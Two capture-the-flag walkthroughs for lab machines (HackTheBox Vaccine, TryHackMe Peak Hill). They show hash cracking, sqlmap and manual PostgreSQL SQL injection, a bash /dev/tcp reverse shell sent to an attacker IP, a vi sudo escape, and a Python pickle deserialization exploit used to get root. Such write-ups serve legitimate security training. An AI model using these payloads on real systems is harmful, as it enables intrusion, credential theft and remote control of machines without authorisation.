htb-vaccine

 

Enumeration

As usual, we’ll begin with a quick Nmap scan.

┌─[puck@parrot-lt]─[~/htb/vaccine]
└──╼ $nmap -sC -sV 10.129.231.5 -oN ports.nmap 
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-15 14:46 CET
Nmap scan report for 10.129.231.5
Host is up (0.072s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-syst: 
| STAT: 
| FTP server status:
| Connected to ::ffff:10.10.14.151
| Logged in as ftpuser
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxr-xr-x 1 0 0 2533 Apr 13 2021 backup.zip
22/tcp open ssh OpenSSH 8.0p1 Ubuntu 6ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 3072 c0:ee:58:07:75:34:b0:0b:91:65:b2:59:56:95:27:a4 (RSA)
| 256 ac:6e:81:18:89:22:d7:a7:41:7d:81:4f:1b:b8:b2:51 (ECDSA)
|_ 256 42:5b:c3:21:df:ef:a2:0b:c9:5e:03:42:1d:69:d0:28 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags: 
| /: 
| PHPSESSID: 
|_ httponly flag not set
|_http-title: MegaCorp Login
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.67 seconds
┌─[puck@parrot-lt]─[~/htb/vaccine]

Let’s FTP in

┌─[puck@parrot-lt]─[~/htb/vaccine]
└──╼ $ftp 10.129.231.5
Connected to 10.129.231.5.
220 (vsFTPd 3.0.3)
Name (10.129.231.5:puck): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 4096 Apr 13 2021 .
drwxr-xr-x 2 0 0 4096 Apr 13 2021 ..
-rwxr-xr-x 1 0 0 2533 Apr 13 2021 backup.zip
226 Directory send OK.
ftp> mget *
mget backup.zip? y
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for backup.zip (2533 bytes).
226 Transfer complete.
2533 bytes received in 0.00 secs (24.9037 MB/s)
ftp>

Trying to unzip the file fails due to being password protected.

We’re going to need to use zip2john in order to crack the password.

zip2john backup.zip > result
cat result

Notice, zip2john doesn’t actually crack the password but gives us the exact file containing the hash that needs to be cracked. Now we need to utilize John the Ripper. The former John command is used to find the file containing the password protecting the rest of the archive while the latter is used to crack a given hash to find the original password.

john result

This gives us the password from the hash located in the file result.

john --show result

This outputs the password from the hash contained within the file result in a nice & clean format.

We can now unzip the archive.

Amazingly, when examining the index.php file, there’s a nested if statement of which the inside if seems to contain a credential check which contains the valid credentials needed to access the website we’ve discovered earlier.

So far we see that a user named admin has the following password: 2cb42f8734ea607eefed3b70af13bbd3 (hashed utilizing MD5).

Let’s run hashcat in order to quickly derive the password.

* notice the flag is set to tell hashcat that the following hash is MD5. Also, we are passing rockyou.txt as the wordlist for hashcat to use to try to crack the hash.

hashcat -m 0 md5_hash.txt /usr/share/wordlists/rockyou.txt

There we have it. Our password for user admin is qwerty789. Now let’s try to log in to the web page.

Foothold

Now, following the walkthrough from HTB you can use sqlmap to automate the process to determine if this webpage is vulnerable to SQL injections or not.

sqlmap -u 'http://10.129.231.5/dashboard.php?search=any+query' --
cookie="PHPSESSID=7u6p9qbhb44c5c1rsefp4ro8u1"
┌─[✗]─[puck@parrot-lt]─[~/htb/vaccine]
└──╼ $sqlmap -u 'http://10.129.231.5/dashboard.php?search=puck' --cookie="PHPSESSID=7u6p9qbhb44c5c1rsefp4ro8u1" --os-shell
___
__H__
___ ___[)]_____ ___ ___ {1.5.12#stable}
|_ -| . [(] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 15:01:19 /2022-02-15/

[15:01:19] [INFO] testing connection to the target URL
[15:01:19] [INFO] testing if the target URL content is stable
[15:01:20] [INFO] target URL content is stable
[15:01:20] [INFO] testing if GET parameter 'search' is dynamic
[15:01:20] [WARNING] GET parameter 'search' does not appear to be dynamic
[15:01:20] [INFO] heuristic (basic) test shows that GET parameter 'search' might be injectable (possible DBMS: 'PostgreSQL')
[15:01:20] [INFO] heuristic (XSS) test shows that GET parameter 'search' might be vulnerable to cross-site scripting (XSS) attacks
[15:01:20] [INFO] testing for SQL injection on GET parameter 'search'
it looks like the back-end DBMS is 'PostgreSQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] n
for the remaining tests, do you want to include all tests for 'PostgreSQL' extending provided leven
[15:01:36] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:01:37] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[15:01:37] [INFO] testing 'Generic inline queries'
[15:01:37] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[15:01:37] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[15:01:37] [WARNING] time-based comparison requires larger statistical model, please wait......... (done)
[15:01:48] [INFO] GET parameter 'search' appears to be 'PostgreSQL > 8.1 stacked queries (comment)' injectable 
[15:01:48] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[15:01:48] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[15:01:48] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[15:01:48] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[15:01:48] [WARNING] reflective value(s) found and filtering out
[15:01:48] [INFO] target URL appears to have 5 columns in query
[15:01:48] [INFO] GET parameter 'search' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'search' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 42 HTTP(s) requests:
---
Parameter: search (GET)
Type: stacked queries
Title: PostgreSQL > 8.1 stacked queries (comment)
Payload: search=puck';SELECT PG_SLEEP(5)--

Type: UNION query
Title: Generic UNION query (NULL) - 5 columns
Payload: search=puck' UNION ALL SELECT NULL,(CHR(113)||CHR(120)||CHR(118)||CHR(120)||CHR(113))||(CHR(88)||CHR(99)||CHR(122)||CHR(88)||CHR(105)||CHR(112)||CHR(122)||CHR(90)||CHR(105)||CHR(83)||CHR(82)||CHR(77)||CHR(114)||CHR(71)||CHR(122)||CHR(100)||CHR(118)||CHR(81)||CHR(69)||CHR(109)||CHR(80)||CHR(118)||CHR(74)||CHR(105)||CHR(97)||CHR(69)||CHR(87)||CHR(78)||CHR(84)||CHR(117)||CHR(105)||CHR(113)||CHR(78)||CHR(103)||CHR(82)||CHR(82)||CHR(100)||CHR(121)||CHR(112)||CHR(87))||(CHR(113)||CHR(120)||CHR(107)||CHR(106)||CHR(113)),NULL,NULL,NULL-- CBTa
---
[15:01:54] [INFO] the back-end DBMS is PostgreSQL
web server operating system: Linux Ubuntu 20.04 or 19.10 or 20.10 (eoan or focal)
web application technology: Apache 2.4.41
back-end DBMS: PostgreSQL
[15:01:55] [INFO] fingerprinting the back-end DBMS operating system
[15:01:55] [INFO] the back-end DBMS operating system is Linux
[15:01:55] [INFO] testing if current user is DBA
[15:01:55] [INFO] going to use 'COPY ... FROM PROGRAM ...' command execution
[15:01:55] [INFO] calling Linux OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> id
do you want to retrieve the command standard output? [Y/n/a] Y
command standard output:
---
u
i
--snip--
t
)
---
os-shell> bash -c "bash -i >& /dev/tcp/{your_IP}/443 0>&1"

However, it’s better to try to perform SQL injections manually to gain a stronger knowledge of how injections work.

To start, try entering an ‘ into the search box. Hit enter.

You should see a similar message. This proves that SQL injections are possible. I highly recommend using Portswigger.com for their free Web Training Academy. This will greatly enhance your skills when it comes to penetrating websites. I specifically used their SQL cheat sheet to try a variety until I narrowed down a couple that worked for me.

https://portswigger.net/web-security/sql-injection/cheat-sheet

With the wrong number of colums we get an error:

Entering the following into the search bar:

' UNION SELECT NULL, NULL, NULL , NULL, VERSION() --

Using that SQL statement, we see that the backend database for this website is PostgreSQL version 11.5. Let’s go to “Google University” real quick to see what sort of exploits can be used to gain a reverse shell. After some research, we come across an exploit discovered on PostgreSQL version 9.3 that is still alive & well for version 11.5.

* it seems we can use Metasploit but for more of a challenge let’s try to do this on our own

Follow this up by starting a Netcat listener on your own attacking machine.

nc -lvnp 1234

Next, run the following code within the search bar of the target website.

* Be sure to set your own IPv4 address & the correct port. Also, at times I had to log out of the website and log back in while repeating the process to get the connection back. Just look at it as extra practice.

'; CREATE TABLE cmd_exec(cmd_output text); --
'; COPY cmd_exec FROM PROGRAM 'bash -c ''bash -i >& /dev/tcp/10.10.14.107/1234 0>&1'''; -- 

The above snippet essentially tells the backend database to create a new table utilizing a cmd_exe function which then use to initiate a reverse shell.

Now that we are in, let’s dig around. Seeing how we are on a web server’s database, let’s cd over to /var/www/html.

From here we can see a dashboard.php file. If you cat out the file, you’ll find some interesting lines of code.

This first portion above is what has allowed us to exploit the website with SQL injections. I had to research this a bit, but from what I could find it seems user input was being added onto the end of a SQL query which as we can see is not wise.

Also within our code, we see the name of the database as well as our current user’s credentials. Now with that, let’s see if we can become root!

Privilege Escalation

If you run the whoami command you’ll see we are still the user postgres. Our first goal should be to spawn a more interactive shell. Use the following snippet to do so.

python3 -c 'import pty; pty.spawn("/bin/sh")'

* Please note unless you upgrade your shell you will get the error “no tty present and no askpass program specified”.

Running sudo -l we are able to see the privileges the user postgres can run.

At the very bottom, we can see postgres can run the following:

sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf

From here exit vim by entering either of the following:

:!/bin/bash
:!/bin/sh
:shell

All three of the above commands will tell vim to exit & spawn a new shell which should spawn us as the user root.

 

thm-peakhill

room : https://tryhackme.com/room/peakhill#

Initial Recon

Port Scan

┌─[puck@parrot-lt]─[~/thm/peakhill]
└──╼ $nmap -Pn -A 10.10.90.44 -oN allports.nmap
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-11 09:35 CET
Nmap scan report for 10.10.90.44
Host is up (0.051s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
20/tcp closed ftp-data
21/tcp open ftp vsftpd 3.0.3
| ftp-syst: 
| STAT: 
| FTP server status:
| Connected to ::ffff:10.9.0.211
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 ftp ftp 17 May 15 2020 test.txt
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 2048 04:d5:75:9d:c1:40:51:37:73:4c:42:30:38:b8:d6:df (RSA)
| 256 7f:95:1a:d7:59:2f:19:06:ea:c1:55:ec:58:35:0c:05 (ECDSA)
|_ 256 a5:15:36:92:1c:aa:59:9b:8a:d8:ea:13:c9:c0:ff:b6 (ED25519)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.81 seconds
┌─[puck@parrot-lt]─[~/thm/peakhill]

FTP

Anonymous log in allowed

┌─[puck@parrot-lt]─[~/thm/peakhill]
└──╼ $ftp 10.10.90.44 
Connected to 10.10.90.44.
220 (vsFTPd 3.0.3)
Name (10.10.90.44:puck): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 ftp ftp 4096 May 15 2020 .
drwxr-xr-x 2 ftp ftp 4096 May 15 2020 ..
-rw-r--r-- 1 ftp ftp 7048 May 15 2020 .creds
-rw-r--r-- 1 ftp ftp 17 May 15 2020 test.txt
226 Directory send OK.
ftp>

We download .creds , and add it in

https://gchq.github.io/CyberChef/

CyberChef Conversion

This is pickled output (python)

This can be unpickled using the following python script

import pickle

with open(filename, "rb") as file:
	pickle_data = file.read()
	creds = pickle.loads(pickle_data)
	print(creds)

Output:

┌─[puck@parrot-lt]─[~/thm/peakhill]
└──╼ $python3 pickie.py 
[('ssh_pass15', 'u'), ('ssh_user1', 'h'), ('ssh_pass25', 'r'), ('ssh_pass20', 'h'), ('ssh_pass7', '_'), ('ssh_user0', 'g'), ('ssh_pass26', 'l'), ('ssh_pass5', '3'), ('ssh_pass1', '1'), ('ssh_pass22', '_'), ('ssh_pass12', '@'), ('ssh_user2', 'e'), ('ssh_user5', 'i'), ('ssh_pass18', '_'), ('ssh_pass27', 'd'), ('ssh_pass3', 'k'), ('ssh_pass19', 't'), ('ssh_pass6', 's'), ('ssh_pass9', '1'), ('ssh_pass23', 'w'), ('ssh_pass21', '3'), ('ssh_pass4', 'l'), ('ssh_pass14', '0'), ('ssh_user6', 'n'), ('ssh_pass2', 'c'), ('ssh_pass13', 'r'), ('ssh_pass16', 'n'), ('ssh_pass8', '@'), ('ssh_pass17', 'd'), ('ssh_pass24', '0'), ('ssh_user3', 'r'), ('ssh_user4', 'k'), ('ssh_pass11', '_'), ('ssh_pass0', 'p'), ('ssh_pass10', '1')]
┌─[puck@parrot-lt]─[~/thm/peakhill]

Cleaned output

gherkin
p1ckl3s_@11_@r0und_th3_w0rld

These credentials can be used to log in via SSH

┌─[✗]─[puck@parrot-lt]─[~/thm/peakhill]
└──╼ $ssh gherkin@10.10.90.44
gherkin@10.10.90.44's password: 
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-177-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage


28 packages can be updated.
19 updates are security updates.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

gherkin@ubuntu-xenial:~$ ls
cmd_service.pyc
gherkin@ubuntu-xenial:~$ ls -la
total 16
drwxr-xr-x 3 gherkin gherkin 4096 Feb 11 08:47 .
drwxr-xr-x 4 root root 4096 May 15 2020 ..
drwx------ 2 gherkin gherkin 4096 Feb 11 08:47 .cache
-rw-r--r-- 1 root root 2350 May 15 2020 cmd_service.pyc
gherkin@ubuntu-xenial:~$

Privilege Escalation

There is a compiled python file in the gherkin user’s home directory

scp to host with:

┌─[✗]─[puck@parrot-lt]─[~/thm/peakhill]
└──╼ $scp gherkin@10.10.90.44:/home/gherkin/cmd_service.pyc .
gherkin@10.10.90.44's password: 
cmd_service.pyc 100% 2350 65.9KB/s 00:00 
┌─[puck@parrot-lt]─[~/thm/peakhill]

Running file

┌─[puck@parrot-lt]─[~/thm/peakhill]
└──╼ $file cmd_service.py
cmd_service.py: Python script, ASCII text executable

This can be decompiled with a tool called uncompyle6 [pip3 install uncompyle6]

uncompyle6 -o . cmd_service.pyc

This gives us the following code

# uncompyle6 version 3.7.0
# Python bytecode 3.8 (3413)
# Decompiled from: Python 3.8.2 (default, Apr  1 2020, 15:52:55)
# [GCC 9.3.0]
# Embedded file name: ./cmd_service.py
# Compiled at: 2020-05-14 13:55:16
# Size of source mod 2**32: 2140 bytes
from Crypto.Util.number import bytes_to_long, long_to_bytes
import sys, textwrap, socketserver, string, readline, threading
from time import *
import getpass, os, subprocess
username = long_to_bytes(1684630636)
password = long_to_bytes(2457564920124666544827225107428488864802762356)

class Service(socketserver.BaseRequestHandler):

    def ask_creds(self):
        username_input = self.receive(b'Username: ').strip()
        password_input = self.receive(b'Password: ').strip()
        print(username_input, password_input)
        if username_input == username:
            if password_input == password:
                return True
        return False

    def handle(self):
        loggedin = self.ask_creds()
        if not loggedin:
            self.send(b'Wrong credentials!')
            return None
        self.send(b'Successfully logged in!')
        while True:
            command = self.receive(b'Cmd: ')
            p = subprocess.Popen(command,
              shell=True, stdout=(subprocess.PIPE), stderr=(subprocess.PIPE))
            self.send(p.stdout.read())

    def send(self, string, newline=True):
        if newline:
            string = string + b'\\n'
        self.request.sendall(string)

    def receive(self, prompt=b'> '):
        self.send(prompt, newline=False)
        return self.request.recv(4096).strip()

class ThreadedService(socketserver.ThreadingMixIn, socketserver.TCPServer, socketserver.DatagramRequestHandler):
    pass

def main():
    print('Starting server...')
    port = 7321
    host = '0.0.0.0'
    service = Service
    server = ThreadedService((host, port), service)
    server.allow_reuse_address = True
    server_thread = threading.Thread(target=(server.serve_forever))
    server_thread.daemon = True
    server_thread.start()
    print('Server started on ' + str(server.server_address) + '!')
    while True:
        sleep(10)

if __name__ == '__main__':

Decrypting the hardcoded credentials

┌─[puck@parrot-lt]─[~/thm/peakhill]
└──╼ $python3
Python 3.9.2 (default, Feb 28 2021, 17:03:44) 
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from Crypto.Util.number import bytes_to_long, long_to_bytes
>>> long_to_bytes(1684630636)
b'dill'
>>> long_to_bytes(2457564920124666544827225107428488864802762356)
b'n3v3r_@_d1ll_m0m3nt'
>>> 
┌─[puck@parrot-lt]─[~/thm/peakhill]

This program starts a listener on port 7321 which was seen in the Nmap scan

Connecting to the service with nc

┌─[puck@parrot-lt]─[~/thm/peakhill]
└──╼ $nc 10.10.90.44 7321
Username: dill
Password: n3v3r_@_d1ll_m0m3nt
Successfully logged in!
Cmd: ls

Cmd: whoami
dill

Cmd: cat ~/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
[redacted]
N8I+VHpYh0mrQOzhKLu3Xy9I
/V7pwBay5mHnsAAAAKam9obkB4cHMxNQE=
-----END OPENSSH PRIVATE KEY-----

Cmd:
Cmd: ^C
┌─[✗]─[puck@parrot-lt]─[~/thm/peakhill]

This shell can be used to read the dill user’s id_rsa file and SSH into the box as the dill user

┌─[puck@parrot-lt]─[~/thm/peakhill]
└──╼ $ssh -i id_rsa dill@10.10.90.44
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-177-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage


28 packages can be updated.
19 updates are security updates.


Last login: Wed May 20 21:56:05 2020 from 10.1.122.133
dill@ubuntu-xenial:~$ ls
user.txt
dill@ubuntu-xenial:~$ cat user.txt
f1e1[redacted]b6a0
dill@ubuntu-xenial:~$ sudo -l
Matching Defaults entries for dill on ubuntu-xenial:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User dill may run the following commands on ubuntu-xenial:
(ALL : ALL) NOPASSWD: /opt/peak_hill_farm/peak_hill_farm
dill@ubuntu-xenial:~$ ls -la /opt/peak_hill_farm/peak_hill_farm
-rwxr-x--x 1 root root 1218056 May 15 2020 /opt/peak_hill_farm/peak_hill_farm
dill@ubuntu-xenial:~$ file /opt/peak_hill_farm/peak_hill_farm
/opt/peak_hill_farm/peak_hill_farm: executable, regular file, no read permission

 

Looking at sudo -l

Viewing the permissions,Running the script with “123”Looks like it is expecting base64 ,Encoding “123” with base64 and trying again, This program can be exploited by entering a pickled object with malicious code

Here is an article on it

Create an exploit script

┌─[puck@parrot-lt]─[~/thm/peakhill]
└──╼ $cat expo.py 
#!/usr/bin/env python3
import pickle
import base64

class execute(object):
def __reduce__(self):
import os
return(os.system,("/bin/sh",))

print(base64.b64encode(pickle.dumps(execute())))

┌─[puck@parrot-lt]─[~/thm/peakhill]
┌─[puck@parrot-lt]─[~/thm/peakhill]
└──╼ $python3 expo.py 
b'gASVIgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjAcvYmluL3NolIWUUpQu'
┌─[puck@parrot-lt]─[~/thm/peakhill]
dill@ubuntu-xenial:/opt/peak_hill_farm$ sudo ./peak_hill_farm 
Peak Hill Farm 1.0 - Grow something on the Peak Hill Farm!

to grow: 123
failed to decode base64
dill@ubuntu-xenial:/opt/peak_hill_farm$ sudo ./peak_hill_farm 
Peak Hill Farm 1.0 - Grow something on the Peak Hill Farm!

to grow: aG9pCg==
this not grow did not grow on the Peak Hill Farm! :(
dill@ubuntu-xenial:/opt/peak_hill_farm$ sudo ./peak_hill_farm 
Peak Hill Farm 1.0 - Grow something on the Peak Hill Farm!

to grow: b'gASVIgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjAcvYmluL3NolIWUUpQu'
failed to decode base64
dill@ubuntu-xenial:/opt/peak_hill_farm$ sudo ./peak_hill_farm 
Peak Hill Farm 1.0 - Grow something on the Peak Hill Farm!

to grow: gASVHwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjARiYXNolIWUUpQu
root@ubuntu-xenial:/opt/peak_hill_farm# cd /root
root@ubuntu-xenial:/root# ls
 root.txt 
root@ubuntu-xenial:/root# cat root.txt
cat: root.txt: No such file or directory
root@ubuntu-xenial:/root# /bin/sh
# cd /root
# ls
 root.txt 
# cat *
e88f[redacted]ee28
#

Done.